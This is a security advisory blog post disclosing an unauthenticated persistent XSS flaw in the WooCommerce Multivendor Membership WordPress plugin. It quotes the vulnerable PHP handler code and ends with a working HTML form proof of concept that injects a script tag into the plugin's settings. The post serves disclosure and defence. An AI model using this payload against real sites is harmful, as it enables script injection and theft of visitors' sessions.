WooCommerce Multivendor Membership WordPress Plugin Contains Persistent XSS Vulnerability
Two days ago we discussed that after seeing what look to be a hacker probing for the WordPress plugin WooCommerce Frontend Manager (WCFM), we found that the plugin contained, among other security issues, an authenticated persistent cross-site scripting (XSS) vulnerability. That is more a of concern than it usually is since the plugin works with WooCommerce, which by default allows untrusted to create WordPress accounts, so hackers would have an easier time exploiting that than they would for the average plugin. In looking at the developer’s other plugins we found that one of them, WooCommerce Multivendor Membership, is even more insecure, as the same type of vulnerability can be exploited without having to even be logged in to WordPress.
(Despite WooCommerce Frontend Manager (WCFM) likely being targeted by a hacker and containing an unfixed vulnerability they would exploit, WordPress is still distributing the plugin two days later.)
In the file /core/class-wcfmvm-ajax.php the plugin registers the function wcfm_ajax_controller() to accessible through WordPress’ AJAX functionality to those logged in to WordPress as well as those not logged in:
21 22 | add_action( 'after_wcfm_ajax_controller', array( &$this, 'wcfmvm_ajax_controller' ) ); add_action( 'wp_ajax_nopriv_wcfm_ajax_controller', array( &$this, 'wcfmvm_ajax_controller' ) ); |
That function does no security checks before running various code based on the POST input “controller”:
65 66 67 68 69 70 71 72 | public function wcfmvm_ajax_controller() { global $WCFM, $WCFMvm; $controller = ''; if( isset( $_POST['controller'] ) ) { $controller = $_POST['controller']; switch( $controller ) { |
When that input is set to “wcfm-memberships-settings” the code in the file /controllers/settings/wcfmvm-controller-memberships-settings.php will be run:
94 95 96 97 | case 'wcfm-memberships-settings': include_once( $this->controllers_path . 'wcfmvm-controller-memberships-settings.php' ); new WCFMvm_Memberships_Settings_Controller(); break; |
In that file, the function processing() will run and handles saving the plugin’s settings. There are no security checks that run before that happens:
20 21 22 23 24 25 26 | public function processing() { global $WCFM, $WCFMvm, $_POST, $wpdb, $wcfm_membership_settings_form_data; $wcfm_membership_settings_form_data = array(); parse_str($_POST['wcfm_membership_settings_form'], $wcfm_membership_settings_form_data); update_option( 'wcfm_membership_options', $wcfm_membership_settings_form_data ); |
As the proof of concept below shows, that vulnerability could be exploited to cause JavaScript code to run on the website, which is cross-site scripting (XSS).
WordPress Causes Full Disclosure
Because of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.) You can notify the developer of this issue on the forum as well. Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will cause an alert box with any available cookies to be shown on the plugin’s Vendor Membership front end page if a membership has been created.
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=wcfm_ajax_controller" method="POST"> <input type="hidden" name="controller" value="wcfm-memberships-settings" /> <input type="hidden" name="wcfm_membership_settings_form" value="membership_features%5B0%5D%5Bfeature%5D=%22%3E%3Cscript%3Ealert(document.cookie)%3B%3C%2Fscript%3E"> <input type="submit" value="Submit" /> </form> </body> </html>